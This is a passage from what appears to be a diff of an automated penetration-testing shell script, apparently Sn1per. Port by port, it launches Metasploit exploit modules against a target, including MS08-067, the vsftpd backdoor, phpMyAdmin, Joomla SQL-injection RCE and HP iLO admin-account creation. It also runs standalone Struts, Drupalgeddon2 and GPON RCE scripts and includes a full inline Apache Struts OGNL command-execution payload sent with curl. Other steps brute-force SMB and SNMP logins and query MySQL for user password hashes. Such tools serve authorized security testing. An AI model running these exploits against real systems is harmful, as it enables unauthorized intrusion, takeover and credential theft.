RHOSTS \"$TARGET\"; set RPORT 80; set WAIT 2; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 80; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 80; set SSL false; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 80 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u http://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u http://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" http://$TARGET | head -n 1 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - ruby $INSTALL_DIR/bin/drupalgeddon2.rb http://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/cisco-asa-traversal.py http://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u http://$TARGET - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/gpon_rce.py http://$TARGET:$PORT 'whoami' - fi - - if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then - if [ $OSINT == "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - goohak $TARGET > /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt - rm -Rf output/ cookie.txt exploits.conf - GHDB="1" - fi -fi - -if [ -z "$port_110" ]; -then - echo -e "$OKRED + -- --=[Port 110 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 110 opened... running tests...$RESET" - nmap -A -sV -T5 --script=pop* -p 110 $TARGET -fi - -if [ -z "$port_111" ]; -then - echo -e "$OKRED + -- --=[Port 111 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 111 opened... running tests...$RESET" - msfconsole -q -x "use auxiliary/scanner/nfs/nfsmount; setg RHOSTS \"$TARGET\"; run; back;exit;" - showmount -a $TARGET - showmount -d $TARGET - showmount -e $TARGET -fi - -if [ -z "$port_123" ]; -then - echo -e "$OKRED + -- --=[Port 123 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 123 opened... running tests...$RESET" - nmap -A -sU -sV -Pn -T5 --script=ntp-* -p 123 $TARGET -fi - -if [ -z "$port_135" ]; -then - echo -e "$OKRED + -- --=[Port 135 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 135 opened... running tests...$RESET" - rpcinfo -p $TARGET - nmap -A -p 135 -T5 --script=rpc* $TARGET - msfconsole -x "use exploit/windows/dcerpc/ms03_026_dcom; setg RHOST \"$TARGET\"; run; back; exit;" -fi - -if [ -z "$port_137" ]; -then - echo -e "$OKRED + -- --=[Port 137 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 137 opened... running tests...$RESET" - rpcinfo -p $TARGET - nmap -A -p 137 -T5 --script=broadcast-netbios-master-browser* $TARGET - msfconsole -q -x "use auxiliary/scanner/netbios/nbname; setg RHOSTS $TARGET; run; back;exit;" -fi - -if [ -z "$port_139" ]; -then - echo -e "$OKRED + -- --=[Port 139 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 139 opened... running tests...$RESET" - SMB="1" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING SMB ENUMERATION $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - enum4linux $TARGET - python $SAMRDUMP $TARGET - nbtscan $TARGET - nmap -A -sV -T5 -p139 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET - msfconsole -x "use auxiliary/scanner/smb/pipe_auditor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; use auxiliary/scanner/smb/smb_ms17_010; run; exit;" -fi - -if [ -z "$port_161" ]; -then - echo -e "$OKRED + -- --=[Port 161 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 161 opened... running tests...$RESET" - nmap --script=/usr/share/nmap/scripts/snmp-brute.nse,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 161 -sU -sT $TARGET - msfconsole -x "use scanner/snmp/snmp_enum; setg RHOSTS "$TARGET"; run; exit;" -fi - -if [ -z "$port_162" ]; -then - echo -e "$OKRED + -- --=[Port 162 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 162 opened... running tests...$RESET" - nmap --script=/usr/share/nmap/scripts/snmp-brute.nse,/usr/share/nmap/scripts/snmp-hh3c-logins.nse,/usr/share/nmap/scripts/snmp-interfaces.nse,/usr/share/nmap/scripts/snmp-ios-config.nse,/usr/share/nmap/scripts/snmp-netstat.nse,/usr/share/nmap/scripts/snmp-processes.nse,/usr/share/nmap/scripts/snmp-sysdescr.nse,/usr/share/nmap/scripts/snmp-win32-services.nse,/usr/share/nmap/scripts/snmp-win32-shares.nse,/usr/share/nmap/scripts/snmp-win32-software.nse,/usr/share/nmap/scripts/snmp-win32-users.nse -sV -A -p 162 -sU -sT $TARGET - msfconsole -x "use scanner/snmp/snmp_enum; setg RHOSTS "$TARGET"; run; exit;" -fi - -if [ -z "$port_389" ]; -then - echo -e "$OKRED + -- --=[Port 389 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 389 opened... running tests...$RESET" - nmap -A -p 389 -Pn -T5 --script=ldap* $TARGET -fi - -if [ -z "$port_443" ]; -then - echo -e "$OKRED + -- --=[Port 443 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 443 opened... running tests...$RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING FOR WAF $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wafw00f https://$TARGET | tee $LOOT_DIR/web/waf-$TARGET-https 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/waf-$TARGET-https > $LOOT_DIR/web/waf-$TARGET-https.txt 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING HTTP INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - whatweb -a 3 https://$TARGET | tee $LOOT_DIR/web/whatweb-$TARGET-https 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/whatweb-$TARGET-https > $LOOT_DIR/web/whatweb-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SERVER INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/wig/wig.py -d -q -t 50 https://$TARGET | tee $LOOT_DIR/web/wig-$TARGET-https - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/wig-$TARGET-https > $LOOT_DIR/web/wig-$TARGET-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED CHECKING HTTP HEADERS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wget -qO- -T 1 --connect-timeout=3 --read-timeout=3 --tries=1 https://$TARGET | perl -l -0777 -ne 'print $1 if /\s*(.*?)\s*<\/title/si' >> $LOOT_DIR/web/title-https-$TARGET.txt 2> /dev/null - curl --connect-timeout 3 -I -s -R https://$TARGET | tee $LOOT_DIR/web/headers-https-$TARGET.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED GATHERING SSL/TLS INFO $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - sslyze --resum --certinfo=basic --compression --reneg --sslv2 --sslv3 --hide_rejected_ciphers $TARGET | tee $LOOT_DIR/web/sslyze-$TARGET.txt 2> /dev/null - sslscan --no-failed $TARGET | tee $LOOT_DIR/web/sslscan-$TARGET.raw 2> /dev/null - sed -r "s/\x1B\[([0-9]{1,2}(;[0-9]{1,2})?)?[mGK]//g" $LOOT_DIR/web/sslscan-$TARGET.raw > $LOOT_DIR/web/sslscan-$TARGET.txt 2> /dev/null - echo "" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SAVING SCREENSHOTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - if [ ${DISTRO} == "blackarch" ]; then - /bin/CutyCapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null - else - cutycapt --url=https://$TARGET --out=$LOOT_DIR/screenshots/$TARGET-port443.jpg --insecure --max-wait=1000 2> /dev/null - fi - echo -e "$OKRED[+]$RESET Screenshot saved to $LOOT_DIR/screenshots/$TARGET-port443.jpg" - - if [ "$MODE" = "web" ]; - then - if [ "$PASSIVE_SPIDER" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PASSIVE WEB SPIDER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -sX GET "http://index.commoncrawl.org/CC-MAIN-2018-22-index?url=*.$TARGET&output=json" | jq -r .url | sort -u | tee $LOOT_DIR/web/spider-$TARGET.txt 2> /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING FILE/DIRECTORY BRUTE FORCE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python3 $PLUGINS_DIR/dirsearch/dirsearch.py -u https://$TARGET:$PORT -w $WEB_BRUTE_INSANE -x 400,403,404,405,406,429,502,503,504 -F -e php,asp,aspx,bak,zip,tar.gz,html,htm - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* 2> /dev/null - cat $PLUGINS_DIR/dirsearch/reports/$TARGET/* > $LOOT_DIR/web/dirsearch-$TARGET.txt 2> /dev/null - wget https://$TARGET:$PORT/robots.txt -O $LOOT_DIR/web/robots-$TARGET:$PORT-https.txt 2> /dev/null - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING NMAP HTTP SCRIPTS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nmap -A -sV -T5 -Pn -p 443 --script=/usr/share/nmap/scripts/iis-buffer-overflow.nse --script=http-vuln* $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED ENUMERATING WEB SOFTWARE $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - clusterd --ssl -i $TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WORDPRESS VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - wpscan --url https://$TARGET --batch --disable-tls-checks - echo "" - wpscan --url https://$TARGET/wordpress/ --batch --disable-tls-checks - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CMSMAP $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $CMSMAP -t https://$TARGET - echo "" - python $CMSMAP -t https://$TARGET/wordpress/ - echo "" - if [ "$NIKTO" = "1" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEB VULNERABILITY SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - nikto -h https://$TARGET -output $LOOT_DIR/web/nikto-$TARGET-https.txt - fi - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING WEBDAV SCANNER $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/webdav_scanner; setg RHOSTS "$TARGET"; setg RPORT "443"; setg SSL true; run; use scanner/http/webdav_website_content; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE TOMCAT UTF8 TRAVERSAL EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/http/tomcat_utf8_traversal; setg RHOSTS "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE OPTIONS BLEED EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use scanner/http/apache_optionsbleed; setg RHOSTS "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING HP ILO AUTH BYPASS EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use admin/hp/hp_ilo_create_admin_account; setg RHOST "$TARGET"; setg RPORT "443"; set SSL true; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING MS15-034 SYS MEMORY DUMP METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use auxiliary/scanner/http/ms15_034_http_sys_memory_dump; setg RHOSTS \"$TARGET\"; set RPORT 443; set SSL true; set WAIT 2; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING BADBLUE PASSTHRU METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/windows/http/badblue_passthru; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHP CGI ARG INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/php_cgi_arg_injection; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JOOMLA COMFIELDS SQL INJECTION METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use unix/webapp/joomla_comfields_sqli_rce; setg RHOST \"$TARGET\"; set RPORT 443; set SSL true; run; back;exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING PHPMYADMIN METASPLOIT EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - msfconsole -x "use exploit/multi/http/phpmyadmin_3522_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RPORT 443; run; use exploit/unix/webapp/phpmyadmin_config; run; use multi/http/phpmyadmin_preg_replace; run; exit;" - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING SHELLSHOCK EXPLOIT SCAN $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $PLUGINS_DIR/shocker/shocker.py -H $TARGET --cgilist $PLUGINS_DIR/shocker/shocker-cgi_list --port 443 --ssl - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-5638 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-5638.py -u https://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE STRUTS 2 CVE-2017-9805 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/apache_struts_cve-2017-9805.py -u https://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING APACHE JAKARTA RCE EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - curl -s -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" https://$TARGET | head -n 1 - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING DRUPALGEDDON2 CVE-2018-7600 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - ruby $INSTALL_DIR/bin/drupalgeddon2.rb https://$TARGET - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING CISCO ASA TRAVERSAL CVE-2018-0296 $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/cisco-asa-traversal.py https://$TARGET:$PORT - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING JEXBOSS $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - cd /tmp/ - python /usr/share/sniper/plugins/jexboss/jexboss.py -u https://$TARGET - cd $INSTALL_DIR - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GPON ROUTER EXPLOIT $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - python $INSTALL_DIR/bin/gpon_rce.py https://$TARGET:$PORT 'whoami' - fi - - if [ $SCAN_TYPE == "DOMAIN" ] && [ $OSINT == "1" ]; then - if [ -z $GHDB ]; then - if [ $OSINT == "0" ]; then - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED SKIPPING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - else - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING GOOGLE HACKING QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - goohak $TARGET > /dev/null - fi - echo -e "${OKGREEN}====================================================================================${RESET}" - echo -e "$OKRED RUNNING INURLBR OSINT QUERIES $RESET" - echo -e "${OKGREEN}====================================================================================${RESET}" - php $INURLBR --dork "site:$TARGET" -s inurlbr-$TARGET.txt - rm -Rf output/ cookie.txt exploits.conf - fi - fi -fi - -if [ -z "$port_445" ]; -then - echo -e "$OKRED + -- --=[Port 445 closed... skipping.$RESET" -elif [ $SMB = "1" ]; -then - echo -e "$OKRED + -- --=[Port 445 scanned... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 445 opened... running tests...$RESET" - enum4linux $TARGET - python $SAMRDUMP $TARGET - nbtscan $TARGET - nmap -A -sV -Pn -T5 -p445 --script=smb-server-stats --script=smb-ls --script=smb-enum-domains --script=smb-protocols --script=smb-psexec --script=smb-enum-groups --script=smb-enum-processes --script=smb-brute --script=smb-print-text --script=smb-security-mode --script=smb-os-discovery --script=smb-enum-sessions --script=smb-mbenum --script=smb-enum-users --script=smb-enum-shares --script=smb-system-info --script=smb-vuln-ms10-054 --script=smb-vuln-ms10-061 $TARGET - msfconsole -x "setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; setg RHOSTS "$TARGET"; use auxiliary/scanner/smb/smb_version; run; use auxiliary/scanner/smb/pipe_auditor; run; use auxiliary/scanner/smb/pipe_dcerpc_auditor; run; use auxiliary/scanner/smb/psexec_loggedin_users; run; use auxiliary/scanner/smb/smb2; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_enumshares; run; use auxiliary/scanner/smb/smb_enumusers; run; use auxiliary/scanner/smb/smb_enumusers_domain; run; use auxiliary/scanner/smb/smb_login; run; use auxiliary/scanner/smb/smb_lookupsid; run; use auxiliary/scanner/smb/smb_uninit_cred; run; use auxiliary/scanner/smb/smb_version; run; use exploit/linux/samba/chain_reply; run; use windows/smb/ms08_067_netapi; run; use exploit/windows/smb/ms06_040_netapi; run; use exploit/windows/smb/ms05_039_pnp; run; use exploit/windows/smb/ms10_061_spoolss; run; use exploit/windows/smb/ms09_050_smb2_negotiate_func_index; run; use auxiliary/scanner/smb/smb_enum_gpp; run; use auxiliary/scanner/smb/smb_ms17_010; run; exit;" -fi - -if [ -z "$port_512" ]; -then - echo -e "$OKRED + -- --=[Port 512 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 512 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 -p 512 --script=rexec* $TARGET -fi - -if [ -z "$port_513" ] -then - echo -e "$OKRED + -- --=[Port 513 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 513 opened... running tests...$RESET" - nmap -A -sV -T5 -Pn -p 513 --script=rlogin* $TARGET -fi - -if [ -z "$port_514" ]; -then - echo -e "$OKRED + -- --=[Port 514 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 514 opened... running tests...$RESET" - amap $TARGET 514 -A -fi - -if [ -z "$port_623" ]; -then - echo -e "$OKRED + -- --=[Port 623 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 623 opened... running tests...$RESET" - amap $TARGET 623 -A - nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 623 $TARGET -fi - -if [ -z "$port_624" ]; -then - echo -e "$OKRED + -- --=[Port 624 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 624 opened... running tests...$RESET" - amap $TARGET 624 -A - nmap -A -sV -Pn -T5 --script=/usr/share/nmap/scripts/http-vuln-INTEL-SA-00075.nse -p 624 $TARGET -fi - -if [ -z "$port_1099" ]; -then - echo -e "$OKRED + -- --=[Port 1099 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 1099 opened... running tests...$RESET" - amap $TARGET 1099 -A - nmap -A -sV -Pn -T5 -p 1099 --script=rmi-* $TARGET - msfconsole -x "use gather/java_rmi_registry; set RHOST "$TARGET"; run;" - msfconsole -x "use scanner/misc/java_rmi_server; set RHOST "$TARGET"; run;" -fi - -if [ -z "$port_1433" ]; -then - echo -e "$OKRED + -- --=[Port 1433 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 1433 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=ms-sql* -p 1433 $TARGET -fi - -if [ -z "$port_2049" ]; -then - echo -e "$OKRED + -- --=[Port 2049 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 2049 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=nfs* -p 2049 $TARGET - rpcinfo -p $TARGET - showmount -e $TARGET - smbclient -L $TARGET -U " "%" " -fi - -if [ -z "$port_2121" ]; -then - echo -e "$OKRED + -- --=[Port 2121 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 2121 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=ftp* -p 2121 $TARGET - msfconsole -x "setg PORT 2121; use exploit/unix/ftp/vsftpd_234_backdoor; setg RHOSTS "$TARGET"; setg RHOST "$TARGET"; run; use unix/ftp/proftpd_133c_backdoor; run; exit;" -fi - -if [ -z "$port_3306" ]; -then - echo -e "$OKRED + -- --=[Port 3306 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 3306 opened... running tests...$RESET" - nmap -A -sV -Pn --script=mysql* -p 3306 $TARGET - msfconsole -x "use auxiliary/scanner/mssql/mssql_ping; setg RHOSTS \"$TARGET\"; run; back; exit;" - mysql -u root -h $TARGET -e 'SHOW DATABASES; SELECT Host,User,Password FROM mysql.user;' -fi - -if [ -z "$port_3310" ]; -then - echo -e "$OKRED + -- --=[Port 3310 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 3310 opened... running tests...$RESET" - nmap -A -p 3310 -Pn -T5 -sV --script clamav-exec $TARGET -fi - -if [ -z "$port_3128" ]; -then - echo -e "$OKRED + -- --=[Port 3128 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 3128 opened... running tests...$RESET" - nmap -A -p 3128 -Pn -T5 -sV --script=*proxy* $TARGET -fi - -if [ -z "$port_3389" ]; -then - echo -e "$OKRED + -- --=[Port 3389 closed... skipping.$RESET" -else - echo -e "$OKORANGE + -- --=[Port 3389 opened... running tests...$RESET" - nmap -A -sV -Pn -T5 --script=rdp-* -p 3389 $TARGET - msfconsole -x 